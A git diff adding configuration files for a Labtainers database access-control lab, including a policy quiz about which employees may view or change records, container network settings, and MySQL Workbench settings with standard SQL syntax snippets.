b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/config/db.quiz @@ -0,0 +1,29 @@ +# +# quiz for the db-access lab. Note question "5" is only asked if the question "1" is +# answered incorrectly. +# +0, Preface, "The following questions are asked in the context of the security policy stated in the Lab Manual. The purpose of the \ +questions is to help prepare you to perform the lab." +1, TrueFalse, "It would be a policy violation if Alexander Hunold cannot view his department (IT) salary range", + F, + "The policy allows Alexander to see his department's salary range, but does not require it.", + "Although he policy allows Alexander to see his department's salary range, it does not require it to be available to Alexander in \ +the database. Whether or not the DBA is asked to make such data available to managers via the database is not a policy matter." +2, TrueFalse, "It would be a policy violation if David can view Susan's salary", + T, + "", + "David is in the IT department. The policy explicitly limits viewing of individual salary information to HR, Finance and the president" +3, TrueFalse, "It would be a policy violation if the database did not allow Susan to modify family contact information for employees.", + T, + "The availability policy requires that HR be able to update employee data in the database.", + "Susan is in the HR department. The availability policy requires that HR be able to update employee data in the database." +4, TrueFalse, "It would be a policy violation if Susan can split the employee table into two tables.", + T, + "Only the DBA is authorised to change the database schema", + "Only the DBA is authorised to change the database schema. Susan is authorized to change content of the tables, but not the structure." +5, TrueFalse, "It would be a security policy violation if David cannot view Susan's email address.", + F, + "", + "The security policy does not prevent employees from seeing email addresses. But the policy does not require that such \ +information be made available via the database. That might be more efficient, and the DBA has been directed to provide \ +such access, but not because of any stated information security policy.", 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/config/keywords.txt new file mode 100644 index 000000000..225ff2e83 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/config/keywords.txt @@ -0,0 +1,4 @@ +dac +database +sql +policy diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/config/start.config new file mode 100644 index 000000000..6ef91e444 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/config/start.config @@ -0,0 +1,71 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED db-access_student_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# + NETWORK some_network + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER database + USER admin + SCRIPT NONE + some_network 172.25.0.3 + ADD-HOST executive:172.25.0.5 + ADD-HOST hr:172.25.0.7 + ADD-HOST finance:172.25.0.11 + ADD-HOST it:172.25.0.13 + X11 YES +CONTAINER executive + USER steven + SCRIPT NONE + some_network 172.25.0.5 + ADD-HOST database:172.25.0.3 + X11 YES + TERMINAL_GROUP employee +CONTAINER hr + USER susan + SCRIPT NONE + some_network 172.25.0.7 + ADD-HOST database:172.25.0.3 + X11 YES + TERMINAL_GROUP employee +CONTAINER finance + USER nancy + SCRIPT NONE + some_network 172.25.0.11 + ADD-HOST database:172.25.0.3 + X11 YES + TERMINAL_GROUP employee +CONTAINER it + USER david + SCRIPT NONE + some_network 172.25.0.13 + ADD-HOST database:172.25.0.3 + X11 YES + TERMINAL_GROUP employee + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/connections.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/connections.xml new file mode 100644 index 000000000..21100bb3c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/connections.xml @@ -0,0 +1,37 @@ + + + + + com.mysql.rdbms.mysql.driver.native + Mysql@localhost:3306 + 0 + + + localhost + 3306 + root + + Local instance 3306 + + + com.mysql.rdbms.mysql.driver.native + Mysql@127.0.0.1:3306 + 0 + + + + 127.0.0.1 + + 3306 + + + + + + 1 + admin + + admin + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/server_instances.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/server_instances.xml new file mode 100644 index 000000000..cac725da2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/server_instances.xml @@ -0,0 +1,40 @@ + + + + + 6fc9641c-97f3-11eb-948b-0242ac190003 + + + 1 + + mysqld + Custom + Linux + + Local 3306 + 6fbdfa46-97f3-11eb-948b-0242ac190003 + + + 778834b2-97f3-11eb-948b-0242ac190003 + + + ~/.ssh/ssh_private_key + 3306 + 0 + mysql + + + 5.1 + 1 + /etc/mysql/my.cnf + mysqld + /etc/init.d/mysqld start + /etc/init.d/mysqld stop + Linux + 1 + + admin + 6fbdfa46-97f3-11eb-948b-0242ac190003 + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/shell_bookmarks.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/shell_bookmarks.txt new file mode 100644 index 000000000..fb4905b9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/shell_bookmarks.txt @@ -0,0 +1,10 @@ +/wb/doc/physicalModels/0/catalog +/wb/doc/physicalModels/0/catalog/schemata/0/tables +/wb/doc/physicalModels/0/diagrams/0 +/wb/doc/physicalModels/0/diagrams/0/figures +/wb/sqlEditors +/wb/migration +/wb/migration/sourceCatalog +/wb/migration/targetCatalog +/wb/registry/plugins +/ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/Untitled Document b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/shell_history.txt similarity index 100% rename from modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/Untitled Document rename to modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/shell_history.txt diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/snippets/DB_Management.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/snippets/DB_Management.txt new file mode 100644 index 000000000..29377bdf5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/snippets/DB_Management.txt @@ -0,0 +1,121 @@ +SHOW BINARY LOGS Syntax + SHOW BINARY LOGS; + SHOW MASTER LOGS; + +SHOW BINLOG EVENTS Syntax + SHOW BINLOG EVENTS + <{[IN 'log_name']}> <{[FROM pos]}> <{[LIMIT [offset,] row_count]}> + +SHOW CHARACTER SET Syntax + SHOW CHARACTER SET <{[LIKE 'pattern' | WHERE expr]}> + +SHOW COLLATION Syntax + SHOW COLLATION <{[like_or_where]}> + +SHOW COLUMNS Syntax + SHOW <{[FULL]}> COLUMNS FROM <{tbl_name}> <{[FROM db_name]}> <{[like_or_where]}> + +SHOW CREATE DATABASE Syntax + SHOW CREATE DATABASE <{db_name}> + +SHOW CREATE EVENT Syntax + SHOW CREATE EVENT <{event_name}> + +SHOW CREATE FUNCTION Syntax + SHOW CREATE FUNCTION <{func_name}> + +SHOW CREATE PROCEDURE Syntax + SHOW CREATE PROCEDURE <{proc_name}> + +SHOW CREATE TABLE Syntax + SHOW CREATE TABLE <{tbl_name}> + +SHOW CREATE TRIGGER Syntax + SHOW CREATE TRIGGER <{trigger_name}> + +SHOW CREATE VIEW Syntax + SHOW CREATE VIEW <{view_name}> + +SHOW DATABASES Syntax + SHOW DATABASES <{[like_or_where]}> + +SHOW ENGINE Syntax + SHOW ENGINE <{engine_name}> <{{STATUS | MUTEX}}> + +SHOW ENGINES Syntax + SHOW <{[STORAGE]}> ENGINES + +SHOW ERRORS Syntax + SHOW ERRORS <{[LIMIT [offset,] row_count]}> + +SHOW EVENTS Syntax + SHOW EVENTS + +SHOW FUNCTION CODE Syntax + SHOW FUNCTION CODE <{func_name}> + +SHOW FUNCTION STATUS Syntax + SHOW FUNCTION STATUS <{[like_or_where]}> + +SHOW GRANTS Syntax + SHOW GRANTS FOR <{user}> + +SHOW INDEX Syntax + SHOW INDEX FROM <{tbl_name}> <{[FROM db_name]}> + +SHOW INNODB STATUS Syntax + SHOW INNODB STATUS + +SHOW MASTER STATUS Syntax + SHOW MASTER STATUS + +SHOW OPEN TABLES Syntax + SHOW OPEN TABLES <{[FROM db_name]}> <{[like_or_where]}> + +SHOW PLUGINS Syntax + SHOW PLUGINS + +SHOW PRIVILEGES Syntax + SHOW PRIVILEGES + +SHOW PROCEDURE CODE Syntax + SHOW PROCEDURE CODE <{proc_name}> + +SHOW PROCEDURE STATUS Syntax + SHOW PROCEDURE STATUS <{[like_or_where]}> + +SHOW PROCESSLIST Syntax + SHOW <{[FULL]}> PROCESSLIST + +SHOW PROFILE Syntax + SHOW PROFILE <{[types]}> <{[FOR QUERY n]}> <{[OFFSET n]}> <{[LIMIT n]}> + +SHOW PROFILES Syntax + SHOW PROFILES + +SHOW SCHEDULER STATUS Syntax + SHOW SCHEDULER STATUS + +SHOW SLAVE HOSTS Syntax + SHOW SLAVE HOSTS + +SHOW SLAVE STATUS Syntax + SHOW SLAVE STATUS + +SHOW STATUS Syntax + SHOW <{[GLOBAL | SESSION]}> STATUS <{[like_or_where]}> + +SHOW TABLE STATUS Syntax + SHOW TABLE STATUS <{[FROM db_name]}> <{[like_or_where]}> + +SHOW TABLES Syntax + SHOW <{[FULL]}> TABLES <{[FROM db_name]}> <{[like_or_where]}> + +SHOW TRIGGERS Syntax + SHOW TRIGGERS <{[FROM db_name]}> <{[like_or_where]}> + +SHOW VARIABLES Syntax + SHOW <{[GLOBAL | SESSION]}> VARIABLES <{[like_or_where]}> + +SHOW WARNINGS Syntax + SHOW WARNINGS <{[LIMIT [offset,] row_count]}> diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/snippets/SQL_DDL_Statements.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/snippets/SQL_DDL_Statements.txt new file mode 100644 index 000000000..be3aebd7a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/snippets/SQL_DDL_Statements.txt @@ -0,0 +1,325 @@ +CREATE TABLE Syntax + CREATE [TEMPORARY] TABLE [IF NOT EXISTS] tbl_name + { LIKE old_tbl_name | (LIKE old_tbl_name) } + + # create_definition: + col_name column_definition + | [CONSTRAINT [symbol]] PRIMARY KEY [index_type] (index_col_name,...) + [index_option] ... + | {INDEX|KEY} [index_name] [index_type] (index_col_name,...) + [index_option] ... + | [CONSTRAINT [symbol]] UNIQUE [INDEX|KEY] + [index_name] [index_type] (index_col_name,...) + [index_option] ... + | {FULLTEXT|SPATIAL} [INDEX|KEY] [index_name] (index_col_name,...) + [index_option] ... + | [CONSTRAINT [symbol]] FOREIGN KEY + [index_name] (index_col_name,...) reference_definition + | CHECK (expr) + + # column_definition: + data_type [NOT NULL | NULL] [DEFAULT default_value] + [AUTO_INCREMENT] [UNIQUE [KEY] | [PRIMARY] KEY] + [COMMENT 'string'] + [COLUMN_FORMAT {FIXED|DYNAMIC|DEFAULT}] + [reference_definition] + + # data_type: + BIT[(length)] + | TINYINT[(length)] [UNSIGNED] [ZEROFILL] + | SMALLINT[(length)] [UNSIGNED] [ZEROFILL] + | MEDIUMINT[(length)] [UNSIGNED] [ZEROFILL] + | INT[(length)] [UNSIGNED] [ZEROFILL] + | INTEGER[(length)] [UNSIGNED] [ZEROFILL] + | BIGINT[(length)] [UNSIGNED] [ZEROFILL] + | REAL[(length,decimals)] [UNSIGNED] [ZEROFILL] + | DOUBLE[(length,decimals)] [UNSIGNED] [ZEROFILL] + | FLOAT[(length,decimals)] [UNSIGNED] [ZEROFILL] + | DECIMAL[(length[,decimals])] [UNSIGNED] [ZEROFILL] + | NUMERIC[(length[,decimals])] [UNSIGNED] [ZEROFILL] + | DATE + | TIME + | TIMESTAMP + | DATETIME + | YEAR + | CHAR[(length)] + [CHARACTER SET charset_name] [COLLATE collation_name] + | VARCHAR(length) + [CHARACTER SET charset_name] [COLLATE collation_name] + | BINARY[(length)] + | VARBINARY(length) + | TINYBLOB + | BLOB + | MEDIUMBLOB + | LONGBLOB + | TINYTEXT [BINARY] + [CHARACTER SET charset_name] [COLLATE collation_name] + | TEXT [BINARY] + [CHARACTER SET charset_name] [COLLATE collation_name] + | MEDIUMTEXT [BINARY] + [CHARACTER SET charset_name] [COLLATE collation_name] + | LONGTEXT [BINARY] + [CHARACTER SET charset_name] [COLLATE collation_name] + | ENUM(value1,value2,value3,...) + [CHARACTER SET charset_name] [COLLATE collation_name] + | SET(value1,value2,value3,...) + [CHARACTER SET charset_name] [COLLATE collation_name] + | spatial_type + + # index_col_name: + col_name [(length)] [ASC | DESC] + + # index_type: + USING {BTREE | HASH | RTREE} + + # index_option: + KEY_BLOCK_SIZE [=] value + | index_type + | WITH PARSER parser_name + + # reference_definition: + REFERENCES tbl_name (index_col_name,...) + [MATCH FULL | MATCH PARTIAL | MATCH SIMPLE] + [ON DELETE reference_option] + [ON UPDATE reference_option] + + # reference_option: + RESTRICT | CASCADE | SET NULL | NO ACTION + + # table_options: + table_option [[,] table_option] ... + + # table_option: + ENGINE [=] engine_name + | AUTO_INCREMENT [=] value + | AVG_ROW_LENGTH [=] value + | [DEFAULT] CHARACTER SET [=] charset_name + | CHECKSUM [=] {0 | 1} + | [DEFAULT] COLLATE [=] collation_name + | COMMENT [=] 'string' + | CONNECTION [=] 'connect_string' + | DATA DIRECTORY [=] 'absolute path to directory' + | DELAY_KEY_WRITE [=] {0 | 1} + | INDEX DIRECTORY [=] 'absolute path to directory' + | INSERT_METHOD [=] { NO | FIRST | LAST } + | KEY_BLOCK_SIZE [=] value + | MAX_ROWS [=] value + | MIN_ROWS [=] value + | PACK_KEYS [=] {0 | 1 | DEFAULT} + | PASSWORD [=] 'string' + | ROW_FORMAT [=] {DEFAULT|DYNAMIC|FIXED|COMPRESSED|REDUNDANT|COMPACT} + | UNION [=] (tbl_name[,tbl_name]...) + + # partition_options: + PARTITION BY + { [LINEAR] HASH(expr) + | [LINEAR] KEY(column_list) + | RANGE{(expr) | COLUMNS(column_list)} + | LIST{(expr) | COLUMNS(column_list)} } + [PARTITIONS num] + [SUBPARTITION BY + { [LINEAR] HASH(expr) + | [LINEAR] KEY(column_list) } + [SUBPARTITIONS num] + ] + [(partition_definition [, partition_definition] ...)] + + # partition_definition: + PARTITION partition_name + [VALUES + {LESS THAN {(expr | value_list) | MAXVALUE} + | + IN (value_list | value_list)}] + [[STORAGE] ENGINE [=] engine_name] + [COMMENT [=] 'comment_text' ] + [DATA DIRECTORY [=] 'data_dir'] + [INDEX DIRECTORY [=] 'index_dir'] + [MAX_ROWS [=] max_number_of_rows] + [MIN_ROWS [=] min_number_of_rows] + [(subpartition_definition [, subpartition_definition] ...)] + + # subpartition_definition: + SUBPARTITION logical_name + [[STORAGE] ENGINE [=] engine_name] + [COMMENT [=] 'comment_text' ] + [DATA DIRECTORY [=] 'data_dir'] + [INDEX DIRECTORY [=] 'index_dir'] + [MAX_ROWS [=] max_number_of_rows] + [MIN_ROWS [=] min_number_of_rows] + + # select_statement: + [IGNORE | REPLACE] [AS] SELECT ... (Some legal select statement) + + +CREATE VIEW Syntax + CREATE + [OR REPLACE] + [ALGORITHM = {UNDEFINED | MERGE | TEMPTABLE}] + [DEFINER = { user | CURRENT_USER }] + [SQL SECURITY { DEFINER | INVOKER }] + VIEW view_name [(column_list)] + AS select_statement + [WITH [CASCADED | LOCAL] CHECK OPTION] + + +CREATE PROCEDURE / FUNCTION Syntax + CREATE + [DEFINER = { user | CURRENT_USER }] + PROCEDURE sp_name ([proc_parameter[,...]]) + [characteristic ...] routine_body + + CREATE + [DEFINER = { user | CURRENT_USER }] + FUNCTION sp_name ([func_parameter[,...]]) + RETURNS type + [characteristic ...] routine_body + + # proc_parameter: + [ IN | OUT | INOUT ] param_name type + + # func_parameter: + param_name type + + # type: + Any valid MySQL data type + + # characteristic: + LANGUAGE SQL + | [NOT] DETERMINISTIC + | { CONTAINS SQL | NO SQL | READS SQL DATA | MODIFIES SQL DATA } + | SQL SECURITY { DEFINER | INVOKER } + | COMMENT 'string' + + # routine_body: + Valid SQL procedure statement + + +CREATE INDEX Syntax + CREATE [UNIQUE|FULLTEXT|SPATIAL] INDEX index_name + [index_type] + ON tbl_name (index_col_name,...) + [index_option] ... + + # index_col_name: + col_name [(length)] [ASC | DESC] + + # index_type: + USING {BTREE | HASH | RTREE} + + # index_option: + KEY_BLOCK_SIZE [=] value + | index_type + | WITH PARSER parser_name + + +CREATE SCHEMA Syntax + CREATE {DATABASE | SCHEMA} [IF NOT EXISTS] db_name + [create_specification] ... + + # create_specification: + [DEFAULT] CHARACTER SET [=] charset_name + | [DEFAULT] COLLATE [=] collation_name + + +ALTER TABLE Syntax + ALTER [IGNORE] TABLE tbl_name + alter_specification [, alter_specification] ... + + # alter_specification: + table_options + | ADD [COLUMN] col_name column_definition + [FIRST | AFTER col_name ] + | ADD [COLUMN] (col_name column_definition,...) + | ADD {INDEX|KEY} [index_name] + [index_type] (index_col_name,...) [index_option] ... + | ADD [CONSTRAINT [symbol]] PRIMARY KEY + [index_type] (index_col_name,...) [index_option] ... + | ADD [CONSTRAINT [symbol]] + UNIQUE [INDEX|KEY] [index_name] + [index_type] (index_col_name,...) [index_option] ... + | ADD FULLTEXT [INDEX|KEY] [index_name] + (index_col_name,...) [index_option] ... + | ADD SPATIAL [INDEX|KEY] [index_name] + (index_col_name,...) [index_option] ... + | ADD [CONSTRAINT [symbol]] + FOREIGN KEY [index_name] (index_col_name,...) + reference_definition + | ALTER [COLUMN] col_name {SET DEFAULT literal | DROP DEFAULT} + | CHANGE [COLUMN] old_col_name new_col_name column_definition + [FIRST|AFTER col_name] + | MODIFY [COLUMN] col_name column_definition + [FIRST | AFTER col_name] + | DROP [COLUMN] col_name + | DROP PRIMARY KEY + | DROP {INDEX|KEY} index_name + | DROP FOREIGN KEY fk_symbol + | DISABLE KEYS + | ENABLE KEYS + | RENAME [TO] new_tbl_name + | ORDER BY col_name [, col_name] ... + | CONVERT TO CHARACTER SET charset_name [COLLATE collation_name] + | [DEFAULT] CHARACTER SET [=] charset_name [COLLATE [=] collation_name] + | DISCARD TABLESPACE + | IMPORT TABLESPACE + | partition_options + | ADD PARTITION (partition_definition) + | DROP PARTITION partition_names + | TRUNCATE PARTITION {partition_names | ALL } + | COALESCE PARTITION number + | REORGANIZE PARTITION [partition_names INTO (partition_definitions)] + | ANALYZE PARTITION {partition_names | ALL } + | CHECK PARTITION {partition_names | ALL } + | OPTIMIZE PARTITION {partition_names | ALL } + | REBUILD PARTITION {partition_names | ALL } + | REPAIR PARTITION {partition_names | ALL } + | REMOVE PARTITIONING + + # index_col_name: + col_name [(length)] [ASC | DESC] + + # index_type: + USING {BTREE | HASH | RTREE} + + # index_option: + KEY_BLOCK_SIZE [=] value + | index_type + | WITH PARSER parser_name + + # table_options: + table_option [[,] table_option] ... + + +ALTER VIEW Syntax + ALTER + [ALGORITHM = {UNDEFINED | MERGE | TEMPTABLE}] + [DEFINER = { user | CURRENT_USER }] + [SQL SECURITY { DEFINER | INVOKER }] + VIEW view_name [(column_list)] + AS select_statement + [WITH [CASCADED | LOCAL] CHECK OPTION] + + +ALTER PROCEDURE/FUNCTION Syntax + ALTER PROCEDURE proc_name [characteristic ...] + + # or + ALTER FUNCTION func_name [characteristic ...] + + # characteristic: + { CONTAINS SQL | NO SQL | READS SQL DATA | MODIFIES SQL DATA } + | SQL SECURITY { DEFINER | INVOKER } + | COMMENT 'string' + + +DROP TABLE Syntax + DROP [TEMPORARY] TABLE [IF EXISTS] + tbl_name [, tbl_name] ... + [RESTRICT | CASCADE] + + +DROP VIEW Syntax + DROP VIEW [IF EXISTS] + view_name [, view_name] ... + [RESTRICT | CASCADE] + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/snippets/SQL_DML_Statements.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/snippets/SQL_DML_Statements.txt new file mode 100644 index 000000000..2813fc4a8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/snippets/SQL_DML_Statements.txt @@ -0,0 +1,140 @@ +SELECT Syntax + SELECT + [ALL | DISTINCT | DISTINCTROW ] + [HIGH_PRIORITY] + [STRAIGHT_JOIN] + [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] + [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] + select_expr [, select_expr ...] + [FROM table_references + [WHERE where_condition] + [GROUP BY {col_name | expr | position} + [ASC | DESC], ... [WITH ROLLUP]] + [HAVING where_condition] + [ORDER BY {col_name | expr | position} + [ASC | DESC], ...] + [LIMIT {[offset,] row_count | row_count OFFSET offset}] + [PROCEDURE procedure_name(argument_list)] + [INTO OUTFILE 'file_name' + [CHARACTER SET charset_name] + export_options + | INTO DUMPFILE 'file_name' + | INTO var_name [, var_name]] + [FOR UPDATE | LOCK IN SHARE MODE]] + + +JOIN Syntax + table_references: + table_reference [, table_reference] ... + + table_reference: + table_factor + | join_table + + table_factor: + tbl_name [[AS] alias] [index_hint_list] + | table_subquery [AS] alias + | ( table_references ) + | { OJ table_reference LEFT OUTER JOIN table_reference + ON conditional_expr } + + join_table: + table_reference [INNER | CROSS] JOIN table_factor [join_condition] + | table_reference STRAIGHT_JOIN table_factor + | table_reference STRAIGHT_JOIN table_factor ON conditional_expr + | table_reference {LEFT|RIGHT} [OUTER] JOIN table_reference join_condition + | table_reference NATURAL [{LEFT|RIGHT} [OUTER]] JOIN table_factor + + join_condition: + ON conditional_expr + | USING (column_list) + + index_hint_list: + index_hint [, index_hint] ... + + index_hint: + USE {INDEX|KEY} + [{FOR {JOIN|ORDER BY|GROUP BY}] ([index_list]) + | IGNORE {INDEX|KEY} + [{FOR {JOIN|ORDER BY|GROUP BY}] (index_list) + | FORCE {INDEX|KEY} + [{FOR {JOIN|ORDER BY|GROUP BY}] (index_list) + + index_list: + index_name [, index_name] ... + + +INSERT Syntax + INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE] + [INTO] tbl_name [(col_name,...)] + {VALUES | VALUE} ({expr | DEFAULT},...),(...),... + [ ON DUPLICATE KEY UPDATE + col_name=expr + [, col_name=expr] ... ] + # Or + INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE] + [INTO] tbl_name + SET col_name={expr | DEFAULT}, ... + [ ON DUPLICATE KEY UPDATE + col_name=expr + [, col_name=expr] ... ] + # Or + INSERT [LOW_PRIORITY | HIGH_PRIORITY] [IGNORE] + [INTO] tbl_name [(col_name,...)] + SELECT ... + [ ON DUPLICATE KEY UPDATE + col_name=expr + [, col_name=expr] ... ] + + +UPDATE Syntax + # Single-table syntax: + UPDATE [LOW_PRIORITY] [IGNORE] table_reference + SET col_name1={expr1|DEFAULT} [, col_name2={expr2|DEFAULT}] ... + [WHERE where_condition] + [ORDER BY ...] + [LIMIT row_count] + + # Multiple-table syntax: + UPDATE [LOW_PRIORITY] [IGNORE] table_references + SET col_name1={expr1|DEFAULT} [, col_name2={expr2|DEFAULT}] ... + [WHERE where_condition] + + +DELETE Syntax + # Single-table syntax: + + DELETE [LOW_PRIORITY] [QUICK] [IGNORE] FROM tbl_name + [WHERE where_condition] + [ORDER BY ...] + [LIMIT row_count] + + # Multiple-table syntax: + DELETE [LOW_PRIORITY] [QUICK] [IGNORE] + tbl_name[.*] [, tbl_name[.*]] ... + FROM table_references + [WHERE where_condition] + + # Or: + DELETE [LOW_PRIORITY] [QUICK] [IGNORE] + FROM tbl_name[.*] [, tbl_name[.*]] ... + USING table_references + [WHERE where_condition] + + +REPLACE Syntax + REPLACE [LOW_PRIORITY | DELAYED] + [INTO] tbl_name [(col_name,...)] + {VALUES | VALUE} ({expr | DEFAULT},...),(...),... + + # Or: + REPLACE [LOW_PRIORITY | DELAYED] + [INTO] tbl_name + SET col_name={expr | DEFAULT}, ... + + # Or: + REPLACE [LOW_PRIORITY | DELAYED] + [INTO] tbl_name [(col_name,...)] + SELECT ... + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/starters_settings.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/starters_settings.xml new file mode 100644 index 000000000..376f9aa64 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/starters_settings.xml @@ -0,0 +1,12 @@ + + + + com.mysql.wb.starter.utilities + com.mysql.wb.starter.migration-tool + com.mysql.wb.starter.bug-reporter-ce + com.mysql.wb.starter.team-blog + com.mysql.wb.starter.planet-mysql + com.mysql.wb.starter.forum + com.mysql.wb.starter.grt-shell + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/user_starters.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/user_starters.xml new file mode 100644 index 000000000..c5bc1feb6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/user_starters.xml @@ -0,0 +1,4 @@ + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/wb_options.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/wb_options.xml new file mode 100644 index 000000000..552b49bef --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/wb_options.xml @@ -0,0 +1,717 @@ + + + + + + + System Default:0,Windows 7:1,Windows 8:2,Windows 8 (alternative):3,High Contrast:4 + 5.0,5.1,5.5,5.6,5.7 + NO ACTION,CASCADE,SET NULL,RESTRICT + NO ACTION,CASCADE,SET NULL,RESTRICT + InnoDB,MyISAM,ndbcluster,MEMORY,EXAMPLE,FEDERATED,ARCHIVE,CSV,BLACKHOLE,infinidb,IBMDB2I,Brighthouse,KFDB,ScaleDB,TokuDB,XtraDB,Spider,MRG_MyISAM,Aria,PBXT + python + 0 + %stable%_has_%dtable% + %table%col + 50 + 1 + 1 + 1 + 0 + 60 + 0 + 1 + 0 + 1 + 600 + 65536 + DEFAULT + DEFAULT + 500 + 600 + 1 + 1 + -- + 1 + 1 + 1 + 1 + 1 + VARCHAR(45) + crowsfoot + workbench/default + INT + 5.6 + 4 + 0 + 4 + %table%_%column% + fk_%stable%_%dtable% + 60 + id%table% + + HTTP + + 256 + 3 + $$ + 100 + 1 + 1000 + TRADITIONAL,ALLOW_INVALID_DATES + 1 + + 1 + + + + 0 + + + 0 + + 0 + + + + + + CURRENT_TIMESTAMP + 0 + + 0 + -1 + -1 + -1 + + create_time + + 37642F84-3C2E-487D-A678-FCA419E70519 + + + 0 + + 0 + + + + + + + 0 + + 0 + -1 + -1 + -1 + + update_time + + 37642F84-3C2E-487D-A678-FCA419E70519 + + + + + + 0 + + + + + + + + + + 0 + + + 0 + + + + + + + + + 0 + 0 + + 0 + + + + + + + 0 + 0 + 0 + + 0 + + + + 0 + timestamps + + + + + + + 0 + + + 0 + + 0 + + + + + + + 0 + + 1 + 16 + -1 + -1 + + username + + 85ED81C9-805F-484A-B23B-B98FC53D8734 + + + 0 + + 0 + + + + + + + 0 + + 0 + 255 + -1 + -1 + + email + + 85ED81C9-805F-484A-B23B-B98FC53D8734 + + + 0 + + 0 + + + + + + + 0 + + 1 + 32 + -1 + -1 + + password + + 85ED81C9-805F-484A-B23B-B98FC53D8734 + + + 0 + + 0 + + + + + + CURRENT_TIMESTAMP + 0 + + 0 + -1 + -1 + -1 + + create_time + + 85ED81C9-805F-484A-B23B-B98FC53D8734 + + + + + + 0 + + + + + + + + + + 0 + + + 0 + + + + + + + + + 0 + 0 + + 0 + + + + + + + 0 + 0 + 0 + + 0 + + + + 0 + user + + + + + + + 0 + + + 0 + + 0 + + + + + + + 0 + + 1 + -1 + -1 + -1 + + category_id + + 1B5B4584-1B18-436A-AEE9-2DDA73435B22 + + + 0 + + 0 + + + + + + + 0 + + 1 + 255 + -1 + -1 + + name + + 1B5B4584-1B18-436A-AEE9-2DDA73435B22 + + + + + + 0 + + + + + + + 0 + + 0 + 73948747-1D05-445D-AADF-F74BC01EADB2 + + 331D0AA0-FE93-41FC-AF5A-7A837EE04EAD + + + + 0 + + + + 0 + PRIMARY + 1 + 